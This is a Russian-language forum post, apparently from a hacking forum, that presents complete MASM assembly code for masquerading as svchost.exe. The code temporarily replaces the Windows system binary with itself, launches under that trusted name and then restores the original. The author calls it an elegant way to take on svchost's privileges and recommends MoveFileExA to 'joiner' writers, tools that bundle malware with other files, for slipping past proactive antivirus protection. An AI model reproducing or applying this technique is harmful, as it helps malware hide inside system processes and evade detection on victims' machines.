Совсем забыл про распространенный и изящный метод, натягивания на себя привилегий svchost.exe
Код:
.486
.model flat,stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
gText MACRO reg,zText:VARARG
LOCAL m1
call m1
db zText,0
m1:
pop reg
ENDM
FILE_NAME STRUCT
PathFile BYTE 256 dup (?)
FILE_NAME ENDS
;----------------------------------------------
.code
start:
main proc ;------------------------------------
LOCAL SystemDir :FILE_NAME
LOCAL FileName :FILE_NAME
LOCAL FileNameH :FILE_NAME
LOCAL FileNameHb :FILE_NAME
LOCAL PI :PROCESS_INFORMATION
LOCAL Sinfo :STARTUPINFO
;Проверяем под каким именем запустились
lea edi,FileName
invoke GetModuleFileNameA,0,edi,255
cmp [edi+eax-8],dword ptr 'tsoh'
jz _svchost ; Переход если процесс svchost.exe
jmp No_svchost
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;Здесь мы для всех -> User :\windows\system32\svchost.exe
_svchost:
gText ecx,'svchost'
gText ebx,'OK'
invoke MessageBoxA,0,ecx,ebx,0
jmp EXIT
; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
No_svchost:
lea edi,SystemDir
invoke GetSystemDirectoryA,edi,255
invoke SetCurrentDirectoryA,edi
lea edi,FileNameH
invoke GetSystemDirectoryA,edi,255
mov [edi+eax-0],dword ptr 'cvs\'
mov [edi+eax+4],dword ptr 'tsoh'
mov [edi+eax+8],dword ptr 'exe.'
mov [edi+eax+12],dword ptr 0
lea esi,FileNameHb
invoke GetSystemDirectoryA,esi,255
mov [esi+eax-0],dword ptr 'cvs\'
mov [esi+eax+4],dword ptr 'tsoh'
mov [esi+eax+8],dword ptr 'kab.'
mov [esi+eax+12],dword ptr 0
;MoveFile 'svchost.exe' в 'svchost.bak'
invoke MoveFileExA,edi,esi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
;MoveFile 'наш.exe' в 'svchost.exe'
lea esi,FileName
invoke MoveFileExA,esi,edi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
;CreateProcess 'svchost.exe' = 'наш.exe'
lea edi,Sinfo
mov ecx,size(STARTUPINFO)
xor eax,eax
rep stosb
lea ebx,PI
lea edi,Sinfo
mov Sinfo.cb,size(STARTUPINFO)
gText esi,'.\svchost.exe'
invoke CreateProcessA,0,esi,0,0,0,NORMAL_PRIORITY_CLASS,0,0,edi,ebx
;MoveFile 'svchost.bak' в 'svchost.exe' не обязательно
lea edi,FileNameH
lea esi,FileNameHb
invoke MoveFileExA,esi,edi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
EXIT:
invoke ExitThread,0
;----------------------------------------------------------------------------------------------
main endp
start_end:
end start
Особенно полезен MoveFileExA для Joiner-o писателей. Т.к. запуск вновь созданного файла будет замечен любой проактивной защитой.